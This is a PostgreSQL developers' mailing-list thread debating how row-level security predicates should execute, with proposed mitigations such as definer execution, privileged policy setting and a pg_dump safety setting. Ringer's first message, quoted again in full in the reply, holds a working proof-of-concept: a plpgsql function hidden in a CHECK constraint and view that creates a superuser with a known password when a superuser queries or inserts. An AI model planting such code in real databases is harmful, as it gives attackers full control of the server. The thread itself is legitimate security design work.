Thread: Exempting superuser from row-security isn't enough. Run predicates as DEFINER?

Exempting superuser from row-security isn't enough. Run predicates as DEFINER?

From
Craig Ringer
Date:
Hi all

I'm thinking about a possible solution for one of the row-security
issues - the ability of a malicious user to write a row-security policy
containing a malicious predicate function, then trick another user into
<tt>SELECT</tt>ing from the table and running the function.

What about running the row-security predicate subquery as the predicate
definer - the user who SET the predicate - or the owner of the object
the predicate applies to? How expensive are security context and user id
changes - and is it even practical to do this within the context of a
security barrier subquery?

Oracle and Teradata get around this by making the assignment of row
security constraints a highly privileged operation - table owners can't
set their own. That's the other option IMO.

We already have this as a known issue with <tt>VIEW</tt>s,
<tt>CHECK</tt> constraints, etc, as shown below - so I'm tempted to
hand-wave around it as a separate issue, and just say that you shouldn't
access objects created by untrusted users.

The problem is that CHECK constraints, VIEW access, etc doesn't affect
pg_dump, it won't run view predicates or check constraint code. By
contrast, pg_dump *does* read tables, so it needs to be exempted from
row-security predicates defined by untrusted users. An exemption option
is needed for performance anyway.

Protecting pg_dump and the superuser alone aren't good enough, though.
SuperSecretUser shouldn't have to fear SELECTing from a view written by
user NewThisWeek.

On a side note, pg_restore and psql running dump scripts *do* affect
restores, which is kind of nasty.

Here's a demo showing how to create a new superuser with a known
password as a regular unprivileged user if you can trick the superuser
into looking at one of your objects:


CREATE USER user1;

SET SESSION AUTHORIZATION user1;

CREATE OR REPLACE FUNCTION haha() RETURNS boolean AS $$
BEGIN   RAISE NOTICE 'haha running as: %',current_user;   CREATE USER haha PASSWORD 'haha' SUPERUSER;   RETURN true;
END;
$$ LANGUAGE plpgsql;

CREATE TABLE check_exploit ( a integer check (haha()) );

CREATE VIEW view_exploit AS SELECT * FROM check_exploit WHERE haha();

GRANT ALL ON check_exploit TO postgres;
GRANT ALL ON view_exploit TO postgres;

-- later, superuser comes along and looks at the table/view:
SET SESSION AUTHORIZATION postgres;


regress=# select * from view_exploit;
NOTICE:  haha running as: postgresa
---1
(1 row)

regress=# \du haha          List of rolesRole name | Attributes | Member of
-----------+------------+-----------haha      | Superuser  | {}

regress=# DROP USER haha;



or for an admin reason adds/ modifies a row in the table:

regress=# INSERT INTO check_exploit VALUES (100);
NOTICE:  haha running as: postgres
INSERT 0 1


This even works with SECURITY BARRIER views, since they do nothing to
control the user ID the view predicate runs as.

If the superuser dumps this database then restores the schema and data
as two separate passes, "haha" will run via the check constraint in that
case too. Ouch.


So, we've got a few options:

* Run the RS constraint subqueries as DEFINER or table owner (if
possible and performant)

* Restrict the ability to set RS predicates to superuser by default, and
create a right to allow it to be delegated.

* Call it a separate problem and deal with it later, since similar
issues already apply to VIEW, CHECK, etc. Document that running pg_dump
as a user without RS exemption rights can run untrusted code written by
other users.

-- Craig Ringer                   http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services



Hi Craig,

I'd like to vote the last options. It is a separate problem (or, might
be specification), I think.

According to the document of view,
http://www.postgresql.org/docs/devel/static/sql-createview.html

| Access to tables referenced in the view is determined by permissions of
| the view owner. In some cases, this can be used to provide secure but
| restricted access to the underlying tables. However, not all views are secure
| against tampering; see Section 38.5 for details. Functions called in the view
| are treated the same as if they had been called directly from the query using
| the view. Therefore the user of a view must have permissions to call all
| functions used by the view.

We checks permissions to the tables underlying a view with owner's
privilege of views, but permissions to the functions are checked by
the user who kicked the query.
I'm not certain what is the reason of this behavior except for implementation
reason, because table permission is checked on ExecCheckRTEPerms()
but function permission is checked on ExecEvalFunc(), thus its invocation
context is uncertain.

Anyway, it is a possible issue independent from existence of RLS feature.
So, we may need to consider an another solution, if we make a consensus
it is a problem to be tackled.
However, I think RLS is not a suitable solution towards this scenario.

Thanks,

2013/11/11 Craig Ringer <craig@2ndquadrant.com>:
> Hi all
>
> I'm thinking about a possible solution for one of the row-security
> issues - the ability of a malicious user to write a row-security policy
> containing a malicious predicate function, then trick another user into
> <tt>SELECT</tt>ing from the table and running the function.
>
> What about running the row-security predicate subquery as the predicate
> definer - the user who SET the predicate - or the owner of the object
> the predicate applies to? How expensive are security context and user id
> changes - and is it even practical to do this within the context of a
> security barrier subquery?
>
> Oracle and Teradata get around this by making the assignment of row
> security constraints a highly privileged operation - table owners can't
> set their own. That's the other option IMO.
>
> We already have this as a known issue with <tt>VIEW</tt>s,
> <tt>CHECK</tt> constraints, etc, as shown below - so I'm tempted to
> hand-wave around it as a separate issue, and just say that you shouldn't
> access objects created by untrusted users.
>
> The problem is that CHECK constraints, VIEW access, etc doesn't affect
> pg_dump, it won't run view predicates or check constraint code. By
> contrast, pg_dump *does* read tables, so it needs to be exempted from
> row-security predicates defined by untrusted users. An exemption option
> is needed for performance anyway.
>
> Protecting pg_dump and the superuser alone aren't good enough, though.
> SuperSecretUser shouldn't have to fear SELECTing from a view written by
> user NewThisWeek.
>
> On a side note, pg_restore and psql running dump scripts *do* affect
> restores, which is kind of nasty.
>
> Here's a demo showing how to create a new superuser with a known
> password as a regular unprivileged user if you can trick the superuser
> into looking at one of your objects:
>
>
> CREATE USER user1;
>
> SET SESSION AUTHORIZATION user1;
>
> CREATE OR REPLACE FUNCTION haha() RETURNS boolean AS $$
> BEGIN
>     RAISE NOTICE 'haha running as: %',current_user;
>     CREATE USER haha PASSWORD 'haha' SUPERUSER;
>     RETURN true;
> END;
> $$ LANGUAGE plpgsql;
>
> CREATE TABLE check_exploit ( a integer check (haha()) );
>
> CREATE VIEW view_exploit AS SELECT * FROM check_exploit WHERE haha();
>
> GRANT ALL ON check_exploit TO postgres;
> GRANT ALL ON view_exploit TO postgres;
>
> -- later, superuser comes along and looks at the table/view:
> SET SESSION AUTHORIZATION postgres;
>
>
> regress=# select * from view_exploit;
> NOTICE:  haha running as: postgres
>  a
> ---
>  1
> (1 row)
>
> regress=# \du haha
>            List of roles
>  Role name | Attributes | Member of
> -----------+------------+-----------
>  haha      | Superuser  | {}
>
> regress=# DROP USER haha;
>
>
>
> or for an admin reason adds/ modifies a row in the table:
>
> regress=# INSERT INTO check_exploit VALUES (100);
> NOTICE:  haha running as: postgres
> INSERT 0 1
>
>
> This even works with SECURITY BARRIER views, since they do nothing to
> control the user ID the view predicate runs as.
>
> If the superuser dumps this database then restores the schema and data
> as two separate passes, "haha" will run via the check constraint in that
> case too. Ouch.
>
>
> So, we've got a few options:
>
> * Run the RS constraint subqueries as DEFINER or table owner (if
> possible and performant)
>
> * Restrict the ability to set RS predicates to superuser by default, and
> create a right to allow it to be delegated.
>
> * Call it a separate problem and deal with it later, since similar
> issues already apply to VIEW, CHECK, etc. Document that running pg_dump
> as a user without RS exemption rights can run untrusted code written by
> other users.
>
> --
>  Craig Ringer                   http://www.2ndQuadrant.com/
>  PostgreSQL Development, 24x7 Support, Training & Services



-- 
KaiGai Kohei <kaigai@kaigai.gr.jp>



On 11/11/2013 06:37 PM, Kohei KaiGai wrote:
> Hi Craig,
> 
> I'd like to vote the last options. It is a separate problem (or, might
> be specification), I think.

I tend to agree, but I'm nervous about entirely hand-waving around this,
as doing so would *expand* the existing problem.

"Solving" this properly would require adding a security context and
current user to subqueries, not just for permissions checks (as
currently exists) but for execution as well.

That's a whole separate job. So I'd say that for first stage RS we
should require that row-security policies only be defined by highly
privileged users (superuser, or user granted a new SETROWSECURITY
right). Table owners can't set row security on their own tables. That
way we don't expand the existing security issue that already exists by
making it easy to attack logical backups.

Between that and the ability to grant a right that exempts users from
row security (given to just superuser by default) we should be OK with
this problem.

Admins who choose to trust users not to write malicious RS predicates,
or who only run pg_dump as superuser and have isolated users, can choose
to grant their users the right to set their own row security policies.

-- Craig Ringer                   http://www.2ndQuadrant.com/PostgreSQL Development, 24x7 Support, Training & Services



On Mon, Nov 11, 2013 at 11:10 PM, Craig Ringer <craig@2ndquadrant.com> wrote:
> On 11/11/2013 06:37 PM, Kohei KaiGai wrote:
>> I'd like to vote the last options. It is a separate problem (or, might
>> be specification), I think.
>
> I tend to agree, but I'm nervous about entirely hand-waving around this,
> as doing so would *expand* the existing problem.

Suppose we define a new GUC, allow_row_level_security, which defaults
to true.  When set to false, any attempt to access a table protected
with RLS will either (1) bypass RLS, if you have sufficient privileges
to do that (presumably table owner and superuser, at least, would be
sufficient) or (2) fail with an error if RLS cannot be bypassed.  But,
when allow_row_level_security is false, *under no circumstances* will
we evaluate RLS quals - it's bypass-or-error.

Then, we can teach pg_dump to set allow_row_level_security = false on
server versions >= 9.4, with an option --allow-row-level-security that
bypasses this behavior.

With these changes, pg_dump is safe by default, not only against
hijacking attacks but against accidentally failing to dump all the
data because you fail to realize that you're subject to an RLS qual.
You'll either get a clean, restorable dump, or you'll fail with an
easy-to-understand error.  In the latter case, if you want to try to
back up that portion of the table you can access, there's an option
for that behavior, which can be documented to imply trust in the table
owner.

-- 
Robert Haas
EnterpriseDB: http://www.enterprisedb.com
The Enterprise PostgreSQL Company